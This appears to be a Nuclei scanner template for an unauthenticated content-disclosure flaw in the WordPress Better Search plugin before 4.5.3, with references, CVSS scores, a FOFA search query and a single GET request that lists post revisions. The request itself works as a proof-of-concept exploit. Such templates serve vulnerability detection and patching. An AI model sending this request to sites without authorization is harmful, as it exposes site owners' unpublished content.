CVE-2026-119495: WordPress Better Search < 4.5.3 - Unauthenticated Arbitrary Post Type Content Disclosure

id: CVE-2026-119495

info:
  name: WordPress Better Search < 4.5.3 - Unauthenticated Arbitrary Post Type Content Disclosure
  author: maulanawirawan
  severity: medium
  description: |
    WebberZone Better Search <= 4.5.2 contains a broken access control caused by incorrectly configured access control security levels, letting attackers exploit unauthorized access, exploit requires no special privileges.
  impact: |
    Attackers can bypass access controls to access or modify unauthorized data, potentially compromising system integrity.
  remediation: |
    Update to the latest version beyond 4.5.2.
  reference:
    - https://patchstack.com/database/wordpress/plugin/better-search/vulnerability/wordpress-better-search-plugin-4-5-2-broken-access-control-vulnerability
    - https://wordpress.org/plugins/better-search/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-119495
    epss-score: 0.00598
    epss-percentile: 0.48908
    cwe-id: CWE-862
  metadata:
    max-request: 1
    vendor: webberzone
    product: better-search
    fofa-query: body="/wp-content/plugins/better-search/"
  tags: cve,cve2026,wordpress,wp-plugin,better-search,unauth,broken-access-control

http:
  - raw:
      - |
        GET /?s=a&post_type=revision HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<article[^>]*class="[^"]*post-[0-9]+ revision type-revision status-inherit[^"]*"'

      - type: status
        status:
          - 200
# digest: 490a004630440220143aea48f25e3867ef680eb7703ce8dd28b77c456d857b24f6b26cbb6931dcd3022055a65c3cc323972115601ba4ae81ebaa6368c4bb9754b8f0cf98b37762b15628:922c64590222798bb761d5b6d8e72950

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